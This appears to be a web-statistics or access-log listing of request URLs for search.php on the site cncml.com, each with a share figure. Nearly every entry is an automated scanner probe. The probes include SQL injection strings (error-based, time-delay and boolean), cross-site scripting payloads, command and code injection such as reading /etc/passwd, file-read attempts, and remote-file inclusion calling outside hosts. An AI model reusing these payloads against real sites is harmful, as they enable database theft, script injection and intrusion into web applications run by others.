http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7);%20IF(67=45)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b76633x3X6 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7JyI%3D 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7alert(42873) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7e360 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=;print(md5(1122));%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=C:%5Cboot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=ELT(18=52,0x3436383336356537) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=MAKE_SET(98=74,0x3436383336356537) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=convert(int,('s'elect'%20char(106)%2bchar(58))) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=dir 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=file:///c:/boot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=phpinfo 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=response.write(9412458*9542755) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=set%7Cset&set 0.0001 http://www.cncml.com/search.php?mod=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/search.php?mod=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/search.php?mod=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/search.php?mod=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/search.php?mod=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/search.php?mod=information&ids=1-webscan&catid=1 0.0001 http://www.cncml.com/search.php?mod=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/search.php?mod=phpinfo 0.0001 http://www.cncml.com/search.php?mod=portal 0.0022 http://www.cncml.com/search.php?mod=portal!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/search.php?mod=portal%00' 0.0001 http://www.cncml.com/search.php?mod=portal%20 0.0001 http://www.cncml.com/search.php?mod=portal%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?mod=portal%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/search.php?mod=portal%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/search.php?mod=portal%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/search.php?mod=portal%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/search.php?mod=portal%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/search.php?mod=portal%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/search.php?mod=portal%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/search.php?mod=portal%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/search.php?mod=portal%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/search.php?mod=portal%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/search.php?mod=portal%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?mod=portal%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/search.php?mod=portal%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?mod=portal%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/search.php?mod=portal%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?mod=portal%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?mod=portal%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/search.php?mod=portal%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/search.php?mod=portal%20OR%20@%60'%60%20AND%20(SELECT%20*%20FROM%20(SELECT%20COUNT(*),CONCAT(FLOOR(rand(0)*2),(SELECT%20USER()))a%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20a)b)%20OR%20@%60'%60 0.0001 http://www.cncml.com/search.php?mod=portal%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/search.php?mod=portal%20RLIKE%20(SELECT%20(CASE%20WHEN%20(11=12)%20THEN%200x706F7274616C%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/search.php?mod=portal%20RLIKE%20(SELECT%20(CASE%20WHEN%20(97=97)%20THEN%200x706F7274616C%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/search.php?mod=portal%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/search.php?mod=portal%22%20AND%20%22yk%22=%22Qa 0.0001 http://www.cncml.com/search.php?mod=portal%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/search.php?mod=portal%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/search.php?mod=portal%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/search.php?mod=portal%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/search.php?mod=portal%22)%20AND%2061=85%20AND%20(%22A3%22=%22A3 0.0001 http://www.cncml.com/search.php?mod=portal%25%22%29%20AND%2057%3D83%20AND%201%20like%28%22%25 0.0001 http://www.cncml.com/search.php?mod=portal%25%27%29%20AND%2021%3D57%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/search.php?mod=portal%25%27%29%20AND%2032%3D32%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/search.php?mod=portal%25%27%29%20AND%2051%3D82%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/search.php?mod=portal%25%27%29%20AND%2076%3D76%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/search.php?mod=portal%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=portal%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=portal%25'%20AND%2016=49%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=portal%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=portal%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/search.php?mod=portal%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/search.php?mod=portal%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=portal%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/search.php?mod=portal%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=portal%25'%20AND%2052=52%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=portal%25'%20AND%2058=57%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=portal%25'%20AND%2074=74%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=portal%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/search.php?mod=portal%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/search.php?mod=portal%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=portal%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0002 http://www.cncml.com/search.php?mod=portal%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=portal%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(18=18)%20THEN%200x706F7274616C%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=portal%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(28=28)%20THEN%20'portal'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=portal%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(36=44)%20THEN%200x706F7274616C%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=portal%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(61=18)%20THEN%20'portal'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=portal%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/search.php?mod=portal%2527 0.0001 http://www.cncml.com/search.php?mod=portal%2527%20AND%2011=11%20%23 0.0001 http://www.cncml.com/search.php?mod=portal%2527%20AND%2052=23%20%23 0.0001 http://www.cncml.com/search.php?mod=portal%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/search.php?mod=portal%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/search.php?mod=portal%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/search.php?mod=portal%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/search.php?mod=portal%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/search.php?mod=portal%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/search.php?mod=portal%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/search.php?mod=portal%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/search.php?mod=portal%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/search.php?mod=portal%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/search.php?mod=portal%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/search.php?mod=portal%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/search.php?mod=portal%5B%5D 0.0001 http://www.cncml.com/search.php?mod=portal%5C%22 0.0001 http://www.cncml.com/search.php?mod=portal%5C' 0.0001 http://www.cncml.com/search.php?mod=portal%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/search.php?mod=portal%bf%27 0.0001 http://www.cncml.com/search.php?mod=portal&&&&&&&&&&&&&&&&&&& 0.0002 http://www.cncml.com/search.php?mod=portal' 0.0001 http://www.cncml.com/search.php?mod=portal'%20AND%20'SW'='IQ 0.0001 http://www.cncml.com/search.php?mod=portal'%20AND%20'V1'='rO 0.0001 http://www.cncml.com/search.php?mod=portal'%20AND%20'Ym'='Ym 0.0001 http://www.cncml.com/search.php?mod=portal'%20AND%20'e1'='e1 0.0001 http://www.cncml.com/search.php?mod=portal'%20AND%20'kU'%20LIKE%20'sU 0.0001 http://www.cncml.com/search.php?mod=portal'%20AND%20'tS'%20LIKE%20'tS 0.0001 http://www.cncml.com/search.php?mod=portal'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/search.php?mod=portal'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/search.php?mod=portal'%20AND%201471=UTL_INADDR.GET_HOST_ADDRESS(CHR(101)%7C%7CCHR(99)%7C%7CCHR(114)%7C%7CCHR(121)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7C(SELECT%20(CASE%20WHEN%20(630=630)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%7C%7CCHR(58)%7C%7CCHR(120)%7C%7CCHR(108))%20AND%20'OGmp'='OGmp 0.0001 http://www.cncml.com/search.php?mod=portal'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/search.php?mod=portal'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/search.php?mod=portal'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/search.php?mod=portal'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?mod=portal'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/search.php?mod=portal'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?mod=portal'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/search.php?mod=portal'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/search.php?mod=portal'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?mod=portal'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/search.php?mod=portal'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/search.php?mod=portal'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?mod=portal'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 